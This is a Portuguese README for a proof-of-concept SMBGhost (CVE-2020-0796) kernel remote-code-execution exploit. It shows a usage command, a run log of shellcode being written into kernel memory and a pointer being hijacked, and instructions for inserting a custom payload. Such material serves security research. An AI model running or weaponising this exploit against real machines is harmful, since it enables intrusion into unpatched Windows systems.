
Exploit de prova de conceito para execução remota de código para CVE-2020-0796 (SMBGhost) visando Windows SMBv3. Inclui injeção de shellcode em kernel via manipulação de heap e corrupção de compressão LZNT1.
PoC de RCE para CVE-2020-0796 "SMBGhost"
Apenas para fins de demonstração! Use isso apenas como referência. Sério. Não foi testado fora do meu ambiente de laboratório. Foi escrito rapidamente e precisa de algum trabalho para ser mais confiável. Às vezes você tem BSOD. Usar isso para qualquer propósito que não seja autoeducação é uma ideia extremamente ruim. Seu computador vai pegar fogo. Filhotes vão morrer.
Agora que isso já foi esclarecido....
Exemplo de uso:
$SMBGhost_RCE_PoC python exploit.py -ip 192.168.142.131
[+] found low stub at phys addr 13000!
[+] PML4 at 1ad000
[+] base of HAL heap at fffff79480000000
[+] ntoskrnl entry at fffff80645792010
[+] found PML4 self-ref entry 1eb
[+] found HalpInterruptController at fffff79480001478
[+] found HalpApicRequestInterrupt at fffff80645cb3bb0
[+] built shellcode!
[+] KUSER_SHARED_DATA PTE at fffff5fbc0000000
[+] KUSER_SHARED_DATA PTE NX bit cleared!
[+] Wrote shellcode at fffff78000000a00!
[+] Press a key to execute shellcode!
[+] overwrote HalpInterruptController pointer, should have execution shortly...
Substitua o payload em USER_PAYLOAD no exploit.py. Máximo de 600 bytes. Se quiser mais, modifique o código do kernel shell você mesmo.
Código lznt1 de aqui. Modificado para adicionar uma função de "compressão ruim" para corromper o cabeçalho do buffer SRVNET sem causar uma falha.